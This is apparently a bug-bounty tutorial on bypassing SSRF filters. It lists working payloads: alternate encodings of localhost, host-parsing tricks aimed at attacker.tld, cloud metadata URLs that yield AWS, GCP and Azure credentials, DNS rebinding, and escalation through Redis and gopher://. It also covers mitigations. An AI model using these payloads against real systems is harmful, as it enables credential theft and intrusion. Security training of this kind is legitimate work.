Advanced levelFree

SSRF — complete bypasses: localhost, IPv6, decimal, DNS and cloud metadata

11 techniques to bypass SSRF validation: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.

Gorka El BochiMay 9, 202614 min

Quick answer

SSRF (Server-Side Request Forgery) forces the server to make requests to attacker-controlled URLs. A typical vector for accessing cloud metadata (169.254.169.254), internal services (admin panels, databases without auth) and sometimes RCE. Bypasses focus on evading URL/IP validation using alternative representations (decimal, octal, hex, IPv6), DNS tricks, parameter pollution and URL parsing differentials.


Localhost bypass payloads

Basic IPv4

arduino
http://127.0.0.1:80
http://127.0.0.1:443
http://127.1:80          (notación corta)
http://127.000000000000000.1
http://0
http://0.0.0.0:80
http://localhost:80

IPv6

arduino
http://[::]:80/
http://[::1]:80/
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/

CIDR bypass

scss
127.127.127.127     (cualquier IP 127.x.x.x)
127.0.1.3

If the filter only blocks 127.0.0.1, IPs at other positions of the 127.0.0.0/8 subnet are still localhost.

Dot bypass (Unicode)

perl
127001            (Unicode ideographic full stop)
127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

Every IPv4 IP can be interpreted as a single 32-bit integer:

arduino
http://2130706433/        = 127.0.0.1
http://3232235521/        = 192.168.0.1
http://3232235777/        = 192.168.1.1

Octal

arduino
http://0177.0000.0000.0001
http://017700000001

Hexadecimal

arduino
http://0x7f000001/
http://0xc0a80014/
http://0x7f.0x00.0x00.0x01

Enclosed alphanumeric Unicode

arduino
http://①②⑦.⓪.⓪.⓪
http://⑯⑨。②⑤④。⑯⑨。②⑤④/

Some parsers process it as a normal IP.

Mixed IPv4/IPv6

ini
0:0:0:0:0:FFFF:7F00:0001     = 127.0.0.1 mapped to IPv6

DNS to localhost

Public domains that resolve to internal IPs:

ini
localtest.me                                    = 127.0.0.1
127.0.0.1.nip.io                                = 127.0.0.1
spoofed.burpcollaborator.net                    = 127.0.0.1
1ynrnhl.xip.io                                  = 169.254.169.254

If the filter blacklists IPs but lets domains through → DNS lookup → allowed target IP.


Domain bypass for external targets

If the filter says "only URLs to target.tld are allowed":

Protocol manipulation

bash
https:attacker.tld
https:/attacker.tld
http:/\/\attacker.tld
//attacker.tld
\/\/attacker.tld/
/\/attacker.tld/
@attacker.tld
%0D%0A/attacker.tld
#attacker.tld

Encoded characters

perl
attacker%00.tld          (null byte)
attacker%E3%80%82tld     (Unicode dot)
attacker。tld
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

Parameter injection

perl
https://target.tld@attacker.tld
https://target.tld.attacker.tld
https://target.tld%6D@attacker.tld     (m URL-encoded)
https://attacker.tld/target.tld
https://attacker.tld?d=target.tld
https://attacker.tld#target.tld
https://attacker.tld%23@target.tld
https://attacker.tld\@@target.tld
https://attacker.tld\anything@target.tld/

Parser differential (URL parsing differs between the lib that validates and the lib that makes the request)

perl
https://target.tld\.attacker.tld
https://target.tld/.attacker.tld
1.1.1.1 &@2.2.2.2# @3.3.3.3/

One library sees the host as target.tld and allows it. The library that makes the request parses it as attacker.tld.


Cloud metadata endpoints

AWS

ruby
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

IMDSv2 (token-based, more secure): requires a PUT to /latest/api/token first. If the SSRF only allows GET, IMDSv2 is protected.

Google Cloud (GCP)

Requires the Metadata-Flavor: Google header:

bash
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

If your SSRF lets you specify headers, perfect. If not, look for "proxy" endpoints in the app that add headers automatically.

Azure

ruby
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Required header: Metadata: true.

DigitalOcean / Alibaba / Oracle Cloud

ruby
http://169.254.169.254/metadata/v1/                    (DO)
http://100.100.100.200/latest/meta-data/               (Alibaba)
http://192.0.0.192/latest/meta-data/                   (Oracle)

All providers expose metadata on some "magic" IP. Worth trying all of them.


DNS rebinding

When the server resolves a domain once to validate and again for the actual request, there's a race window:

  • The attacker registers dns-rebind.attacker.tld with TTL=0.
  • The server resolves → IP1 (public, OK).
  • The server makes the request → IP2 (internal, the attacker changed the DNS).

Tools: rbndr.us, tbnrd.com, custom dnschef.


Blind SSRF detection

If the response exposes nothing, try OOB:

arduino
http://yourcollab.collab.tld/ssrf-test
http://burp-collab-id.oastify.com
http://attacker-controlled-dns.attacker.tld

Burp Collaborator logs HTTP/DNS hits → confirms SSRF even if the output isn't visible.


Endpoints where to look for SSRF

  • URL fetch features: webhooks, profile picture URL, OG preview, link unfurling, RSS reader, SVG render, screenshot service.
  • Import / export: import URL JSON, scan URL for malware, fetch terms.
  • Conversion services: HTML→PDF, URL→screenshot, URL→QR, URL→audio.
  • OAuth callback proxies: if the server looks up the provider config.
  • PDF generators: wkhtmltopdf, headless Chrome — fetch client HTML → embed into PDF.
  • Email features: inline images from a URL, link verification.
  • CSV import with cells containing URLs interpreted as hyperlinks.

SSRF escalation

Once confirmed:

  1. Cloud metadata → AWS/GCP/Azure credentials.
  2. Internal services: Redis (redis://localhost:6379/CONFIG SET), Memcached, ElasticSearch (/_cluster/state), Kibana, Jenkins, Consul, etcd.
  3. gopher:// scheme to send raw bytes to TCP — SMTP protocol, Redis with writing.
  4. Internal admin panels that trust requests from the server itself.
  5. Internal port scanning: what services run on 127.0.0.1:*?

Hunting checklist

  • Are there features that accept URLs (webhooks, imports, screenshots)?
  • Does the filter block only 127.0.0.1 or normalize all representations?
  • Does it accept IPv6, decimal, hex, Unicode dots?
  • Does it accept @ injection in the host?
  • Can custom headers be injected (for GCP/Azure metadata)?
  • Is DNS rebinding possible?
  • Try Burp Collaborator for blind SSRF?
  • Try gopher://, dict://, file://?
  • Do the endpoints return part of the response? (full visible SSRF vs blind).

Correct mitigation

  1. Domain whitelist (not blacklist). Resolve and verify the final IP.
  2. Block private ranges: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, IPv6 equivalents.
  3. Resolve DNS ONCE and use the resulting IP (kills DNS rebinding).
  4. Mandatory IMDSv2 on AWS.
  5. Egress firewall from the container/VM that only allows outbound to legitimate IPs/ports.

Practice the 11 SSRF bypasses + cloud metadata extraction: SSRF labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Ssrf

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy